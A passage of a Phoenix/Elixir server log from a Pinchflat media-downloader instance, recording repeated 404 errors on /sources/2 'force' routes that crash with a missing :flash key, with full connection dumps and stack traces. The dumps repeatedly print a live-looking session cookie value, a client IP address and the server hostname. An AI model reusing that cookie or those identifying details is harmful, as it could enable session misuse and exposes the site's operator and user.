false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163689.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], (truncated) 18:56:14.096 [info] GET /sources/2/force_index 18:56:14.096 [debug] QUERY OK source="settings" db=0.1ms idle=120.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.097 [debug] QUERY OK source="settings" db=0.1ms idle=97.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.097 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:14.097 [error] #PID<0.163691.0> running PinchflatWeb.Endpoint (connection #PID<0.163690.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163690.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33338}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163691.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guNTOVroFkQAAC6LC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163690.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33338}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163690.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33338}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163691.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469 (truncated) 18:56:14.105 [info] GET /sources/2/force_download_pending 18:56:14.105 [debug] QUERY OK source="settings" db=0.1ms idle=105.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.106 [debug] QUERY OK source="settings" db=0.1ms idle=13.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.106 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:14.106 [error] #PID<0.163693.0> running PinchflatWeb.Endpoint (connection #PID<0.163692.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163692.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33354}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163693.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guNVY0I6y_4cAC6Li"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163692.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33354}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163692.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33354}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163693.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, priv (truncated) 18:56:14.195 [info] GET /sources/2/force_redownload 18:56:14.196 [debug] QUERY OK source="settings" db=0.1ms idle=103.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.196 [debug] QUERY OK source="settings" db=0.2ms idle=99.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.196 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:14.197 [error] #PID<0.163695.0> running PinchflatWeb.Endpoint (connection #PID<0.163694.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33364}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163695.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guNq5EnWeYPsAC6MC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33364}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33364}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163695.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], (truncated) 18:56:14.203 [info] GET /sources/2/force_index 18:56:14.203 [debug] QUERY OK source="settings" db=0.1ms idle=106.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.204 [debug] QUERY OK source="settings" db=0.1ms idle=97.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.204 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:14.204 [error] #PID<0.163697.0> running PinchflatWeb.Endpoint (connection #PID<0.163696.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33378}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163697.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", 